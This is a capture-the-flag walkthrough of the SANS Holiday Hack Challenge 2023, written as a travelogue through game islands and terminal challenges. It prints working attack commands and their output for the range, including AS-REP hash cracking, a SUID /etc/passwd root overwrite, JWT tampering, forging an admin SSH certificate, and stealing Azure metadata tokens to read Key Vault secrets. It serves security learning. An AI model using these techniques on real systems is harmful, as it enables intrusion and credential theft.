Kringlecon 2023

TLDR;

For those that have never signed up or attempted the Xmas challenge before, the SANS institute asks a number of info-sec people (pentesters, red-teamers, blue-teamers, incident responders, soc analysts etc) to build creative challenges and related talks to encourage self learning and a little but of competetive fun Capture-The-Flag (CTF) during the xmas holidays.

You’re free to compete alone, or even team up. The exercises are ususally quite fun and you can end up developing some new skills.

More about the challenge can be found here:

https://holidayhackchallenge.com/2023

Geese Islands / Six Geese a lei’ing

6 Geese

Contents

Story

Just sit right back and you’ll hear a tale,
A tale of a yuletide trip
That started from a tropic port,
Aboard this tiny ship
Santa and his helpful elves
To Geese Islands did go
Continuing their merry work
O'er sand instead of snow
New this year: a shiny tool
The elves logged in with glee
What makes short work of many tasks?
It's ChatNPT. It's ChatNPT
From images to APIs
This AI made elves glad
But motivations were unknown
So was it good or bad?
Could it be that NPT
Was not from off-the-shelf?
Though we'll forgive and trust again
We'd found a naughty elf
This fancy AI tool of ours
With all our work remained
Not good or bad, our online friend
Just did as it was trained
Surely someone's taint must be
Upon our AI crutch
Yes indeed, this bold new world
Bore Jack Frost's icy touch
Though all's returned to steady state
There's one thing that we know
We'll all be needed once again
When Santa's back on snow

Wow, a pirate theme!

Pirate Ship

Christmas Island

Chsristmas Island

Orientation

This is the introduction for new starters Jingle Ringford introduces the user to the game, and how the Pi terminals work, and how you will be expected to travel the world, and complete your training and objectives.

Characters

  • Jingle Ringford

Objects

  • Fishing Pole

Orientation Pi

This is orientation for new players, basically introduces them to the format of elf’s asking questions, stating problems, and the raspberry pi training instances dotted around the world! … It’s all a simulation right! ;)

Asks you to type

answer

Jingle Ringford

Objective 1 Complete!

Frosty beach

After Orientation, we jump back to our pirate ship and sail East… until we hit the port of Frosty Beach

Characters

  • Goose of Christmas Island
  • Santa
  • Morcel Nougat
  • Ginger Breddie

Snowball fight

Snowballhero

Original URL:

  • https://hhc23-snowball.holidayhackchallenge.com/room/?username=xxx&roomId=187bac99f&roomType=public&gameType=co-op&id=94e1d6a8-bb69-47ca-bc70-69386d80e2bc&dna=ATATATTAATATATATATATATGCATATATATCGTAATGCATATATATATATTATAATATATATATATATCGATATATTAATATATATATATGCTAATATATATATATGCTAATATGCTA&singlePlayer=false

Hmmm, the hint is defeat Santa we could do this collaboratively with a good partner. But theres another hint about a secret single player mode!

Tampered URL:

  • https://hhc23-snowball.holidayhackchallenge.com/room/?username=xxx&roomId=187bac99f&roomType=public&gameType=co-op&id=94e1d6a8-bb69-47ca-bc70-69386d80e2bc&dna=ATATATTAATATATATATATATGCATATATATCGTAATGCATATATATATATTATAATATATATATATATCGATATATTAATATATATATATGCTAATATATATATATGCTAATATGCTA&singlePlayer=true

And we receive a viking friend that can throw several snowballs once in an arc, kinda makes it easy!

Hmmm…. it didnt register outside the iframe…

Hints

  • chrisjd20 hint
  • Its easiest to grab a friend play with and beat Santa but tinkering with client-side variables can grant you all kinds of snowball fight super powers. You could even take on Santa and the elves solo! An elf dropped this handy hint, so we can tamper the some other variables and beat santa in a co-op! – Morcel Nougat

snowballhero

In the screenshot above, you can see our calls, on the console, manipulating the game.

We found we could cheat by messing with the following:

  • player.health
  • elfThrowDelay
  • SantaThrowDelay
  • SnowballDmg

Victory

Completing this challenge gives us Objective 2

Linux 101

A simple primer to linux for new starters, as most of the Pi terminals are Linux containers.

These are a list of the commands we used in the 101 terminal:

yes
ls
cat troll*
rm troll*
pwd
ls -la
cat .tr*
history
env
cd workshop
grep -i troll -r *
chmod 755 pre*
./present_engine
cd ele*
mv blown_fuse0 fuse0
ln -s fuse0 fuse1
cp fuse1 fuse2
echo TROLL_REPLELLANT > fuse2
find /opt/troll_den -iname troll*
find /opt/troll_den -user troll
find /opt/troll_den -type f -size +108k -size -110k
ps aux
netstat -tlnp | grep 14516_troll ???
netstat -napt
curl 127.0.0.1:54321
kill -9 <pid>

Completing this tutorial gives us Objective 3

Rudolphs nest

Characters

  • Goose of Christmas Island
  • Noel Bootie
  • Sparkle Redberry

Reportinator

We are giving a HTTP interface to a report generating tool. The url is reportedly https://reportinator.elf/review/42 but actually its located here: Reportinator

Reportinator

Our thoughts and opinions on the chatNPT report findings:

  • 1 - checks out
  • 2 - write up is ok but the pic is not matching the description
  • 3 - FAKE default image from github and suspicious port no 88555
  • 4 - plausible & similar to alabaster’s chall so must be ok
  • 5 - checks out
  • 6 - FAKE but checks out normal and angular xss, maybe not together
  • 7 - confusing image but ok
  • 8 - checks out
  • 9 - FAKE silly recommendation “modify the Location header to reflect the host Windows registration key”

Reportinator Complete

Completing this challenge give us Objective 4

Azure 101

An introduction to the Azure Cli tool, again more for new starters.

References

Terminal Commands and Output:

 az account show |less

 {
  "environmentName": "AzureCloud",
  "id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
  "isDefault": true,
  "name": "northpole-sub",
  "state": "Enabled",
  "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
  "user": {
    "name": "northpole@northpole.invalid",
    "type": "user"
  }
az group list --output table

[
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
    "location": "eastus",
    "managedBy": null,
    "name": "northpole-rg1",
    "properties": {
      "provisioningState": "Succeeded"
    },    "tags": {}
  },
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2",
    "location": "westus",
    "managedBy": null,
    "name": "northpole-rg2",
    "properties": {      "provisioningState": "Succeeded"
    },    "tags": {}  }
]
az functionapp list --resource-group northpole-rg1 --output table
az vm list --resource-group northpole-rg1 --output table
...
az vm list --resource-group northpole-rg2 --output table

[
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2/providers/Microsoft.Compute/virtualMachines/NP-VM1",
    "location": "eastus",
    "name": "NP-VM1",
    "properties": {
      "hardwareProfile": {
        "vmSize": "Standard_D2s_v3"
      },
      "provisioningState": "Succeeded",
      "storageProfile": {
        "imageReference": {
          "offer": "UbuntuServer",
          "publisher": "Canonical",
          "sku": "16.04-LTS",
          "version": "latest"
        },
        "osDisk": {
          "caching": "ReadWrite",
          "createOption": "FromImage",
          "managedDisk": {
            "storageAccountType": "Standard_LRS"
          },
          "name": "VM1_OsDisk_1"
        }
      },
      "vmId": "e5f16214-18be-4a31-9ebb-2be3a55cfcf7"
    },
    "resourceGroup": "northpole-rg2",
    "tags": {}
  }
]
az functionapp list --resource-group northpole-rg2  --output table
...
az vm run-command invoke --resource-group northpole-rg2 --name NP-VM1 --command-id RunShellScript --scripts "ls"

Completing this introduction to the Azure API gives us Objective 5

Resort Lobby

Characters

  • Pepper Minstix
  • Wunrose Openslae

Other

  • Netwars
  • Candy machine - come back at the end

Misfit Island

Misfit Island

Scaredy Kite Heights

Characters

  • Goose of the island of misfit toys
  • Eve Snowshoes

Hashcat

Another introductory terminal, focusing on educating participants on modern password cracking techniques.

Hints

  • ASREP (or -m 18200)
  • -w 1 -u 1 –kernel-accel 1 –kernel-loops 1
  • hash.txt
  • password_list.txt

Put them altogether:

hashcat -m 18200 --force -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 -a 0 hash.txt password_list.txt

Output:

hashcat -m 18200 --force -a 0 hash.txt password_list.txt --show
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!

Answer:

IluvC4ndyC4nes!

Completing this challenge gives us Objective 15

Ostrich Saloon

Characters

  • Rose Mold

Linux priv esc

An introductory terminal has been implemented to educate new users on prevalent security vulnerabilities in Linux. The focus is on elucidating how these vulnerabilities may result in the escalation of privileges on a susceptible system.

Hints:

Our terminal commands and output:

elf@e2760b3a059c:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy
elf@e2760b3a059c:~$ ls -l /usr/bin/simplecopy
-rwsr-xr-x 1 root root 16952 Dec  2 22:17 /usr/bin/simplecopy
elf@e2760b3a059c:~$ echo root::0:0:root:/root:/bin/bash > passwd
elf@e2760b3a059c:~$ /usr/bin/simplecopy ./passwd /etc/
elf@e2760b3a059c:~$ su
root@e2760b3a059c:/home/elf# ls
HELP  bash  passwd  runmetoanswer  simplecopy

# ./runmetoanser
Your answer: santa

Checking....
Your answer is correct!

Completing this challenge gives us Objective 7

Tarnished trove

Characters

  • Dusty Giftwrap

Other

  • One piece - luffy’s straw hat; treasure is close by….
  • Cartridge volume 1

Straw hat

At this point the cartridge detector started pinging. We assume we picked up Cartridge Vol1 in this area!

Square wheel yard

Characters

  • Goose of island misfit toys
  • Poinsettia Mckittens
  • Garland Candlesticks

Fishing

Poinsettia Mckittens

BONUS: Fishing Guide aka Objective 23

Source

Once completed the challenge escalates to ….

BONUS: Fishing Mastery aka Objective 24

  • collect at least 1x kind of every species of fish and return
  • see walkthrough below

Luggage lock decode

Presented is another intriguing lockpicking challenge, requiring users to exploit a luggage lock—a real-world simulation designed to educate professionals about the vulnerabilities inherent in uncomplicated locking mechanisms.

Hints

Luggage Lock

Completing this challenge gives us Objective 6

Film Noir Island

Film Noir Island

Chiaroscuro city

Characters

Nan Pi

Introducing a challenge aimed at raising awareness in Python gaming algorithms, emphasizing the significant impact of “NaN” (Not a Number) on altering the output of a game. This exercise seeks to underscore the importance of handling NaN effectively within gaming code.

Hints

  • Python nan
  • Real hint is in the name, strangely other than 0-9 we can also put nan on the cards.

How we won the game… constantly playing these cards:

  • 0,1,8,9, nan

Objective 12 Completed

Gumshoe Alley PI Office

Characters

  • Tangle Coalbox

Kusto Detective Agency

Jump to KQL Answers below

Objective 13 Completed!

The Black Light District

Characters

  • Goose of Film Noir Island
  • Fitzy Shortstack

Phish Detection

The challenge is located: Phish Detector Looks fairly simple - bit of manual hard labour/analysis

Phishing

Hints:

  • Discover the essentials of email security with DMARC, DKIM, and SPF at Cloudflare’s Guide. – Fitsy Shortstack

Quick notes, about what we looked for:

  • marked all dmarc fails & bad signatures
  • marked all external domains
  • marked users with odd/different/wrong username conventions
Sender Subject Status
alice.smith@geeseislands.com Summer Beach Cleanup Coordination Safe
david.jones@geeseislands.com Tech Team’s Holiday Hackathon Safe
emily.white@geeseislands.com Island Wildlife Conservation Efforts Safe
frank.harrison@geeseislands.com Annual Budget Review and Forecasting Safe
grace.lee@geeseislands.com Marketing for the Holiday Season Safe
harry.potter@geeseislands.com Q4 Operational Excellence Safe
isabella.martin@geeseislands.com Environmental Policies Legal Review Safe
jason.brown@geeseislands.com Boosting End of Year Sales Safe
john.doe@geeseislands.com Pacific Festive Celebrations Overview Safe
karen.evans@geeseislands.com IT Infrastructure Upgrade Discussion Safe
laura.green@geeseislands.com Security Protocol Briefing Phishing
laura.moore@geeseislands.com Coral Reef Study Findings Safe
michael.roberts@geeseislands.com Compliance Training Schedule Announcement Phishing
michael.taylor@geeseislands.com Project Management Best Practices Safe
nancy.wilson@geeseislands.com Client Engagement Enhancements Safe
nancy@geeseislands.com Public Relations Strategy Meet Phishing
oliver.hill@geeseislands.com Supply Chain Optimization Initiatives Safe
oliver.thomas@geeseislands.com New Research Project Kickoff Phishing
patricia.johnson@geeseislands.com Communication Skills Workshop Safe
quentin.adams@geeseislands.com Quality Assurance Protocols Meeting Safe
quincy.adams@geeseislands.com Networking Event Success Strategies Phishing
rachel.baker@geeseislands.com Production Milestones Meeting Safe
rachel.brown@geeseislands.com Customer Feedback Analysis Meeting Phishing
steven.clark@geeseislands.com Employee Wellbeing Workshop Safe
steven.gray@geeseislands.com Procurement Process Improvements Phishing
teresa.green@geeseislands.com Financial Planning for 2024 Safe
uma.foster@geeseislands.com Operational Efficiency Review Safe
ursula.morris@geeseislands.com Legal Team Expansion Strategy Phishing
victor.davis@geeseislands.com Invitation to Research Grant Meeting Phishing
victor.harris@geeseislands.com IT Security Update Safe
wendy.mitchell@geeseislands.com Holiday Marketing Brainstorm Safe
xavier.edwards@geeseislands.com Year-End Sales Target Strategies Safe
xavier.jones@geeseislands.com Urgent IT Security Update Phishing
yvonne.jackson@geeseislands.com Enhancing Client Relationships Workshop Safe

Once complete, we are awarded Objective 14

Pixel Island

Pixel Island

Drift Bit Grotto

Driftbit

Characters

  • Tinsel Upatree

Other

  • gameboy cartridge 2 Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol2

Rainraster Cliffs

Characters

  • Goose of Pixel Island
  • Piney sappington
  • Alabaster snowball

Elf Hunt

ELfhunt

Hints

  • JWT hack
    • Not protected change speed

So we can use an intercepting proxy (like burp) to intercept the requests.

We can extract and decode JWT tokens at JWT.io

Elf hunt jwt

JWT contained:

{
	"speed":-500
}

Just tamper with this value, and replace the in-game token usuing the intercepting proxy until the game is playable!

{ "speed":-100}

We can tamper with the value, through an intercepting proxy, or altering the cookie via the console:

elfhunt console

They should be easier to hit, once we reach 75, the game is complete!

Objective 16 Completed!

SSHenanigans

Certificate SSHenanigans - Part 1 aka SSH Madness

Hints

Starting the challenge

https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl

Ok so using the URL above, if we insert our public key it will sign it, and do some backend magic? automatically due to it being signed by the servers CA.

I generated a new ed25519 key just for this challenge : id_ed25519; id_ed25519.pub

ssh-keygen -t ed25519

Simple script - generated by chatgpt to help generate the signed cert inorder to sign in:

awk '{print $1, $2}' ./id_ed25519.pub | sed 's/ /": "/' | sed 's/^/{"/' | sed 's/$/"}/' | sed 's/ssh-ed25519/ssh_pub_key/' |sed 's/: "/: "ssh-ed25519 /' > postme

curl -X POST -H "Content-Type: application/json" -d @postme 'https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl' | \
jq -r .ssh_cert > id_ed25519-cert.pub

Our returned string is formatted in json, copy contents of ssh_cert into a new file id_ed25519-cert.pub

Now, we can ssh into the server:

ssh monitor@ssh-server-vm.santaworkshopgeeseislands.org

Then look for a privilege escaltion, since it is an SSH challenge, lets check the SSH conf!

monitor@ssh-server-vm:~$ ls -la /etc/ssh/auth_principals/
total 16
drwxr-xr-x 1 root root 4096 Nov  7 21:37 .
drwxr-xr-x 1 root root 4096 Nov  9 14:07 ..
-rw-r--r-- 1 root root    6 Nov  7 21:37 alabaster
-rw-r--r-- 1 root root    4 Nov  7 21:37 monitor
monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/monitor
elf
monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/alabaster
admin

This confirms the principals… If we can get a principal of admin we should be able to log in as alabaster!

Method 1 - Lucky Guess?

From the pentest report we know the azure function has an issue around the undocumented feature/parameter sign-principal ?

Doesn’t work? hmmmm…..

Maybe it got renamed to principal….

We can spoof principal!!!!

sh -i ./id_ed25519 alabaster@ssh-server-vm.santaworkshopgeeseislands.org
Warning: No xauth data; using fake authentication data for X11 forwarding.
X11 forwarding request failed on channel 0
Last login: Wed Dec  6 21:19:36 2023 from 71.205.47.251
alabaster@ssh-server-vm:~$ id
uid=1000(alabaster) gid=1000(alabaster) groups=1000(alabaster),1002(sshallow)

Method 2 - Use the source (Luke…)

curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=
  • subscriptions: 2b0942f3-9bca-484b-a508-abdae2db5e64
  • resourceGroups: northpole-rg1

then we can build the API URL

  • https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web\?api-version=2022-03-01

But, first, we need an access_token:

export ACCESS_TOKEN=$(curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com" -s | jq -r .access_token)

export our subscriptionId and resourceGroup into env’s:

export subscriptionId=2b0942f3-9bca-484b-a508-abdae2db5e64
export resourceGroup=northpole-rg1
curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web\?api-version\=2022-03-01
{"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web","name":"northpole-ssh-certs-fa","type":"Microsoft.Web/sites/sourcecontrols","location":"East US","tags":{"project":"northpole-ssh-certs","create-cert-func-url-path":"/api/create-cert?code=candy-cane-twirl"},"properties":{"repoUrl":"https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa","branch":"main","isManualIntegration":false,"isGitHubAction":true,"deploymentRollbackEnabled":false,"isMercurial":false,"provisioningState":"Succeeded","gitHubActionConfiguration":{"codeConfiguration":null,"containerConfiguration":null,"isLinux":true,"generateWorkflowFile":true,"workflowSettings":{"appType":"functionapp","publishType":"code","os":"linux","variables":{"runtimeVersion":"3.11"},"runtimeStack":"python","workflowApiVersion":"2020-12-01","useCanaryFusionServer":false,"authType":"publishprofile"}}}}

And we can extract the following publicly available URL: Northpile-ssh-certs-fa

Read the code, realise theres an extra parameter that can get submitted

  • principal

Use burp intercept the request, add

, "principal":"admin"

Forward on the request.

Extract the signed ssh cert and repeat what we did earlier….

simple script:

awk '{print "{\"ssh_pub_key\": \"" $3 "\", \"principal\": \"admin\"}"}' ./id_ed25519.pub | \
jq -c '. + {"principal": "admin"}' > postme_admin

curl -X POST -H "Content-Type: application/json" -d @postme_admin \
'https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl' | \
jq -r .ssh_cert > id_ed25519-cert.pub

Once logged in as alabaster…

❯ ssh -i ./id_ed25519 alabaster@ssh-server-vm.santaworkshopgeeseislands.org
Warning: No xauth data; using fake authentication data for X11 forwarding.
X11 forwarding request failed on channel 0
Last login: Wed Dec  6 21:19:36 2023 from 71.205.47.251
alabaster@ssh-server-vm:~$ id
uid=1000(alabaster) gid=1000(alabaster) groups=1000(alabaster),1002(sshallow)
alabaster@ssh-server-vm:~$ ls -la
total 36
drwx------ 1 alabaster alabaster 4096 Nov  9 14:07 .
drwxr-xr-x 1 root      root      4096 Nov  3 16:50 ..
-rw-r--r-- 1 alabaster alabaster  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 alabaster alabaster 3665 Nov  9 17:03 .bashrc
drwxr-xr-x 3 alabaster alabaster 4096 Nov  9 14:07 .cache
-rw-r--r-- 1 alabaster alabaster  807 Apr 23  2023 .profile
drwxr-xr-x 6 alabaster alabaster 4096 Nov  9 14:07 .venv
-rw------- 1 alabaster alabaster 1126 Nov  9 14:07 alabaster_todo.md
drwxr-xr-x 2 alabaster alabaster 4096 Nov  9 14:07 impacket
alabaster@ssh-server-vm:~$ cat alabaster_todo.md

Geese Islands IT & Security Todo List

- [X] Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- [ ] Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- [ ] Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- [ ] Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- [ ] Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.
alabaster@ssh-server-vm:~$

Objective 17 complete

AD challenge

SSHenanigans - Part 2 aka The Active Directory Review

curl -H Metadata:true http://169.254.169.254/metadata/instance?api-version=2021-02-01|jq -r .

{
  "compute": {
    "azEnvironment": "AzurePublicCloud",
    "customData": "",
    "evictionPolicy": "",
    "isHostCompatibilityLayerVm": "false",
    "licenseType": "",
    "location": "eastus",
    "name": "ssh-server-vm",
    "offer": "",
    "osProfile": {
      "adminUsername": "",
      "computerName": "",
      "disablePasswordAuthentication": ""
    },
    "osType": "Linux",
    "placementGroupId": "",
    "plan": {
      "name": "",
      "product": "",
      "publisher": ""
    },
    "platformFaultDomain": "0",
    "platformUpdateDomain": "0",
    "priority": "",
    "provider": "Microsoft.Compute",
    "publicKeys": [],
    "publisher": "",
    "resourceGroupName": "northpole-rg1",
    "resourceId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines/ssh-server-vm",
    "securityProfile": {
      "secureBootEnabled": "false",
      "virtualTpmEnabled": "false"
    },
    "sku": "",
    "storageProfile": {
      "dataDisks": [],
      "imageReference": {
        "id": "",
        "offer": "",
        "publisher": "",
        "sku": "",
        "version": ""
      },
      "osDisk": {
        "caching": "ReadWrite",
        "createOption": "Attach",
        "diffDiskSettings": {
          "option": ""
        },
        "diskSizeGB": "30",
        "encryptionSettings": {
          "enabled": "false"
        },
        "image": {
          "uri": ""
        },
        "managedDisk": {
          "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/disks/ssh-server-vm_os_disk",
          "storageAccountType": "Standard_LRS"
        },
        "name": "ssh-server-vm_os_disk",
        "osType": "Linux",
        "vhd": {
          "uri": ""
        },
        "writeAcceleratorEnabled": "false"
      },
      "resourceDisk": {
        "size": "38912"
      }
    },
    "subscriptionId": "2b0942f3-9bca-484b-a508-abdae2db5e64",
    "tags": "Project:HHC23",
    "tagsList": [
      {
        "name": "Project",
        "value": "HHC23"
      }
    ],
    "userData": "",
    "version": "",
    "vmId": "dc64208e-c208-446d-8288-7f2488035e34",
    "vmScaleSetName": "",
    "vmSize": "Standard_B2s",
    "zone": ""
  },
  "network": {
    "interface": [
      {
        "ipv4": {
          "ipAddress": [
            {
              "privateIpAddress": "10.0.0.50",
              "publicIpAddress": ""
            }
          ],
          "subnet": [
            {
              "address": "10.0.0.0",
              "prefix": "24"
            }
          ]
        },
        "ipv6": {
          "ipAddress": []
        },
        "macAddress": "7C1E520227A2"
      }
    ]
  }
}

We know our privateIpAddress: “10.0.0.50”,

We know we are on a cloud instance, next we try to grab an Azure API Access Token from the Meta-data service:

ACCESS_TOKEN=$(curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com" -s | jq -r .access_token)

Next, we set some other important variables as ENVs:

export subscriptionId=2b0942f3-9bca-484b-a508-abdae2db5e64
export resourceGroup=northpole-rg1

Next we need to check our API permissions:

$ curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.Authorization/permissions\?api-version\=2022-04-01
{"value":[{"actions":["Microsoft.KeyVault/vaults/read","Microsoft.KeyVault/vaults/secrets/read","Microsoft.Web/sites/sourcecontrols/Read","microsoft.web/sites/functions/read","Microsoft.Resources/subscriptions/resourceGroups/read"],"notActions":[],"dataActions":["Microsoft.KeyVault/vaults/secrets/getSecret/action","Microsoft.KeyVault/vaults/secrets/readMetadata/action"],"notDataActions":[]}]}

try again cleaner output:

curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/sp/providers/Microsoft.Authorization/permissions\?api-version\=2022-04-01 -s |jq -r
{
  "value": [
    {
      "actions": [
        "Microsoft.KeyVault/vaults/read",
        "Microsoft.KeyVault/vaults/secrets/read",
        "Microsoft.Web/sites/sourcecontrols/Read",
        "microsoft.web/sites/functions/read",
        "Microsoft.Resources/subscriptions/resourceGroups/read"
      ],
      "notActions": [],
      "dataActions": [
        "Microsoft.KeyVault/vaults/secrets/getSecret/action",
        "Microsoft.KeyVault/vaults/secrets/readMetadata/action"
      ],
      "notDataActions": []
    }
  ]
}

Digging deeper, into Keyvault permissions:

curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.KeyVault/vaults/\?api-version\=2023-07-01 -s|jq -r
{
  "value": [
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
      "name": "northpole-it-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {},
      "systemData": {
        "createdBy": "thomas@sanshhc.onmicrosoft.com",
        "createdByType": "User",
        "createdAt": "2023-10-30T13:17:02.532Z",
        "lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
        "lastModifiedByType": "User",
        "lastModifiedAt": "2023-10-30T13:17:02.532Z"
      },
      "properties": {
        "sku": {
          "family": "A",
          "name": "Standard"
        },
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "accessPolicies": [],
        "enabledForDeployment": false,
        "enabledForDiskEncryption": false,
        "enabledForTemplateDeployment": false,
        "enableSoftDelete": true,
        "softDeleteRetentionInDays": 90,
        "enableRbacAuthorization": true,
        "vaultUri": "https://northpole-it-kv.vault.azure.net/",
        "provisioningState": "Succeeded",
        "publicNetworkAccess": "Enabled"
      }
    },
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
      "name": "northpole-ssh-certs-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {},
      "systemData": {
        "createdBy": "thomas@sanshhc.onmicrosoft.com",
        "createdByType": "User",
        "createdAt": "2023-11-12T01:47:13.059Z",
        "lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
        "lastModifiedByType": "User",
        "lastModifiedAt": "2023-11-12T01:50:52.742Z"
      },
      "properties": {
        "sku": {
          "family": "A",
          "name": "standard"
        },
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "accessPolicies": [
          {
            "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
            "objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
            "permissions": {
              "keys": [
                "all"
              ],
              "secrets": [
                "all"
              ],
              "certificates": [
                "all"
              ],
              "storage": [
                "all"
              ]
            }
          },
          {
            "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
            "objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
            "permissions": {
              "secrets": [
                "get"
              ]
            }
          }
        ],
        "enabledForDeployment": false,
        "enableSoftDelete": true,
        "softDeleteRetentionInDays": 90,
        "vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
        "provisioningState": "Succeeded",
        "publicNetworkAccess": "Enabled"
      }
    }
  ],
  "nextLink": "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/?api-version=2023-07-01&$skiptoken=bm9ydGhwb2xlLXNzaC1jZXJ0cy1rdg=="

Try to access vaults:

curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.KeyVault/vaults/secrets\?api-version\=2023-07-01|jq -r

error - permission denied!

Looks like we need a to obtain a new access_token for vault.azure.net

ACCESS_TOKENA=$(curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net" |jq -r .access_token)

Now try the vault again:

$ curl -s -H 'Authorization: Bearer '$ACCESS_TOKENA https://northpole-it-kv.vault.azure.net/secrets/\?api-version\=7.4|jq -r
{
  "value": [
    {
      "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
      "attributes": {
        "enabled": true,
        "created": 1699564823,
        "updated": 1699564823,
        "recoveryLevel": "Recoverable+Purgeable",
        "recoverableDays": 90
      },
      "tags": {}
    }
  ],
  "nextLink": null
}

Wohoo! Found a script, hopefully its spicey!

curl -s -H 'Authorization: Bearer '$ACCESS_TOKENA https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript\?api-version\=7.4|jq -r
{
  "value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
  "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
  "attributes": {
    "enabled": true,
    "created": 1699564823,
    "updated": 1699564823,
    "recoveryLevel": "Recoverable+Purgeable",
    "recoverableDays": 90
  },
  "tags": {}
}

